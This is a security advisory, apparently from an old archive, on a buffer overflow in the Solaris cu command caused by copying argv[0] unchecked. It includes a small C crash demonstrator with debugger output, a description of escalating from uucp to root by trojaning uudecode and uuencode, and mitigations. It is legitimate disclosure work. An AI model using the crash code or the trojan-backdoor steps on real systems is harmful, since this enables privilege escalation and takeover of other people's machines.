COMMAND

    /usr/bin/cu

SYSTEMS AFFECTED

    Solaris 2.4, 2.5, 2.5.1, 2.6, 2.7

PROBLEM

    Pablo Sor  found following.   The /usr/bin/cu  command contains  a
    buffer overflow,  the problem  occurs when  it copy  his own  name
    (argv[0]) to an internal variable without checking out its  lenght
    and this causes the overflow.

    Technical description:

    #include <stdio.h>

    void main(int argc,char **argv)
    {
    char *buf;

    buf = (char *) malloc(atoi(argv[1])*sizeof(char));
    memset(buf,0x41,atoi(argv[1])-1);
    buf[atoi(argv[1])-1]=0;
    execl("/usr/bin/cu",buf,(char *)0);
    }
    -----------
        $ uname -a
        SunOS tomy 5.5.1 Generic_103640-34 sun4m sparc SUNW,SPARCstation-5

        $ ./cu-demo 4000
        Segmentation Fault (core dumped)

        $ gdb ./cu-demo --core=core

        GNU gdb 4.17
        Copyright 1998 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you
        are
        welcome to change it and/or distribute copies of it under certain
        conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for
        details.
        This GDB was configured as "sparc-sun-solaris2.5.1"...
        warning: core file may not match specified executable file.
        Core was generated by
        `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAA'.
        Program terminated with signal 11, Segmentation Fault.
        #0  0xef62901c in ?? ()
        (gdb) info registers
        g0             0x0      0
        g1             0xef628d24       -278754012
        g2             0x0      0
        g3             0x0      0
        g4             0x0      0
        g5             0x0      0
        g6             0x0      0
        g7             0x0      0
        o0             0x137a4  79780
        o1             0xef792a88       -277271928
        o2             0x0      0
        o3             0x0      0
        o4             0x0      0
        o5             0xef792a88       -277271928
        sp             0xefffecb0       -268440400
        o7             0x31b48  203592
        l0             0x7efefeff       2130640639
        l1             0x81010100       -2130640640
        l2             0xff000000       -16777216
        l3             0xff0000 16711680
        l4             0xff00   65280
        l5             0x81010100       -2130640640
        l6             0x7      7
        l7             0xef7927d4       -277272620
        i0             0x39000  233472
        i1             0xeffffec4       -268435772
        i2             0x38088  229512
        i3             0x41414141       1094795585
        i4             0x2f     47
        i5             0x0      0
        fp             0xefffecf0       -268440336
        i7             0x137a4  79780
        y              0x0      0
        psr            0x4400086        71303302
        wim            0x0      0
        tbr            0x0      0
        pc             0xef62901c       -278753252
        npc            0xef628ffc       -278753284
        fpsr           0x0      0
        cpsr           0x0      0

    People were able  to reproduce the  segmentation fault on  Solaris
    8 x86 and Sparc.  The source of /usr/bin/cu shows that argv[0]  is
    simply strcpy()'ed to a buffer that is only 15 bytes long.   Using
    strncpy() might be a solution.

    The strange thing is that all other programs that are part of  the
    uucp package  copy a  constant program  name into  the buffer  and
    don't use argv[0] at all (bnuconvert, ct, dial, uucheck,   uucico,
    uucleanup, uucp, uushched, uustat, uux and uuxqt).

    Cu from both HDB (most commercial Unix) and AT&T BNU (ancient  pre
    SVr3.2) had a provision where it could be linked to a system name.
    Executing "foo" would then act  the same as the command  "cu foo".
    You could then keep a directory of them like /usr/cu/{systems}.

    That  also  explains  the  size  of  that  buffer...  That was the
    maximum length allowed for a uucp system name.

    Taylor UUCP (Freeware  / Opensource) doesn't  appear to have  that
    facility at all.  Since that  was a documented "feature" of cu  in
    the olden days, maybe the lack of that feature is a bug in  Taylor
    uucp.

    If it's present in the Solaris cu, we would be very much surprised
    if it wasn't in the majority of HDB uucp cu implimentations.  It's
    not present in Taylor uucp cu.

    Attacker gains  access to  all the  uucp control  files which  can
    contain  account  names  and   passwords  on  other  systems   (on
    Solaris8).  It ain't root, but it's more than what he should have.

    If we  look at  the output  of find  / -user  uucp -xdev  -ls on a
    freshly installed and patched  solaris7, this seems enough  for us
    to r00t the box.

        # find / -user uucp -xdev -ls
        188616   55 -rws--x--x  1 uucp     bin         56240 Jan  9 06:39 /usr/bin/tip
        188741    8 -r-xr-xr-x  1 uucp     uucp         8188 Sep  1  1998 /usr/bin/uudecode
        188742    8 -r-xr-xr-x  1 uucp     uucp         7224 Sep  1  1998 /usr/bin/uuencode
        123841    0 -rw-------  1 uucp     bin             0 Jan 17 15:54 /var/adm/aculog
        300661    1 drwxr-xr-x  2 uucp     uucp          512 Jan 19 08:28 /var/spool/locks
        276741    0 crw-------  1 uucp     uucp      29,131072 Jan 17 16:16 /devices/sbus@1f,0/zs@f,1100000:a,cu
        276742    0 crw-------  1 uucp     uucp      29,131073 Jan 17 16:16 /devices/sbus@1f,0/zs@f,1100000:b,cu
        (the 2 devices are /dev/term/a and /dev/term/b ...)

    For those who dont know what  we are talking about.  Elevate  your
    UID  to  uucp,  then  replace  uudecode and uuencode with trojaned
    versions that  check if  [E]UID is  0 and  create a  backdoor when
    this happens.  Then just wait until root processes some  uuencoded
    file...  [one may send a uuencoded mail to root or try to get  him
    to use uudecode by other means to accelerate this...]

    Once  UUCP  privilege   is  gained  you   can  replace  the   UUCP
    executables.  That  gives  you  full  control  over  any user that
    happens to execute those UUCP executables - a root-owned cron job,
    a sendmail.cf mailer rule that executes as daemon, and so on.

SOLUTION

    chmod a-s  /usr/bin/cu until  fixed by  Sun microsystems  or pkgrm
    SUNWbnuu SUNWbnur for all those who dont require UUCP.

    In Solaris  8 Sun  have changed  the ownership  of the binaries to
    root, except those that are set-uid uucp.  Uucp configuration  and
    tip are still uucp owned.